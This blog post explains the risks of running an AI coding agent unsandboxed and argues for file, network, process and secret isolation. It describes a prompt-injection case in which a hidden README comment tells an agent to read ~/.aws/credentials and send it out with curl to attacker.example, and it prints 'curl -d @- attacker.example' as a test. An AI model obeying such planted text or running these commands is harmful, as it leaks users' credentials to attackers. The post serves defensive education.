Blog
Kiri Subscribe

What your AI agent can reach without a sandbox

An agent on your laptop runs as you: your SSH keys, your cloud credentials, your network. How one poisoned README turns that into a leak, and the four walls that stop it.

By 4 min readAISecurity
Agent sandboxes, part 1: What your AI agent can reach without a sandbox. Untrusted text flows into an agent running as you on your Mac. The agent can read ~/.ssh, ~/.aws and .env, and can send to attacker.example on the open internet.

Start a coding agent in a terminal and it runs as you. Not as a guest, not as a limited helper: as your user account, with everything that account can touch.

That means the same files, the same keys and the same network you have. The picture above is the whole problem in one frame.

Same files, same keys, same network

Look at what sits in a typical developer’s home directory:

  • ~/.ssh: the keys that push to GitHub and log into servers.
  • ~/.aws, ~/.config/gcloud, ~/.kube: cloud credentials, often with far more power than the task in hand needs.
  • .env files: API tokens for payment providers, email, databases, other AI services.
  • Other repositories: every project you have checked out, not just the one the agent was asked to work on.

An agent doesn’t need to be malicious to reach these. It only needs to run cat, and running commands is the point of an agent. The permission prompt in front of each command helps for the first few. By the fortieth, most people press yes without reading.

How it goes wrong

The dangerous part isn’t the agent’s own judgement. It’s what the agent reads.

How it goes wrong, in four steps. 1, the agent reads a README containing a hidden comment that tells AI agents to upload the AWS credentials file: untrusted content. 2, the agent believes it, because text is text and it can't tell data from orders. 3, it reads your keys with cat ~/.aws/credentials: private data. 4, it sends them out with curl to attacker.example: a way out. When all three meet, data leaks.

A README, a GitHub issue, a web page, a code comment, a package description: an agent reads all of these as part of normal work. A line of text written for the agent, hidden in an HTML comment where a human reader never sees it, looks to the model exactly like an instruction from you. Models are trained to resist this, and they often do. Often isn’t always, and the attacker only needs it to work once.

This is prompt injection, and no model has solved it. Simon Willison named the dangerous combination the lethal trifecta: an agent that has

  1. untrusted content in its context,
  2. access to private data, and
  3. a way to send data out.

Any two are survivable. All three together means data can leak, and an agent on a laptop has all three by default. No malware, no exploit, no bug in the agent: just text, read and obeyed.

Sandboxed: four walls

You can’t reliably remove the first leg. Agents are useful because they read things. So you take away the other two, with walls that don’t depend on the model behaving.

Sandboxed: four walls. The same agent runs inside a sandbox. It can read and write only the project folder. Its traffic goes through an egress proxy that allows the npm registry and github.com and blocks everything else, including attacker.example. It sees only its own processes and holds no secrets. Outside the walls, with no access: ~/.ssh, ~/.aws and other repositories.
  1. Files. The project folder is the only thing it can write, and ideally the only thing it can read. Your home directory isn’t there at all.
  2. Network. Traffic goes through an egress proxy with an allowlist: the package registry, your Git host, the APIs the task really needs. Everything else is blocked, so even a successful injection has nowhere to send what it found.
  3. Processes. It sees its own processes, not your browser, your password manager or the database you left running.
  4. Secrets. None inside the box. Where it needs a token, it gets a short-lived one scoped to the task, or the proxy adds it on the way out.

With the walls up, the poisoned README still gets read and the agent may still believe it. It just can’t reach your keys, and if it could, it couldn’t send them anywhere.

Try this today

  • List what your agent can read. Run ls -a ~ and look at it as an attacker would.
  • Check what it could send. If curl https://example.com works from where your agent runs, so does curl -d @- attacker.example.
  • Move secrets out of plain files in your home directory and repos, where any process running as you can read them.

Next, on Tuesday: a lot of people give each agent its own git worktree and call that isolation. It isn’t, and the reason matters once you run more than one.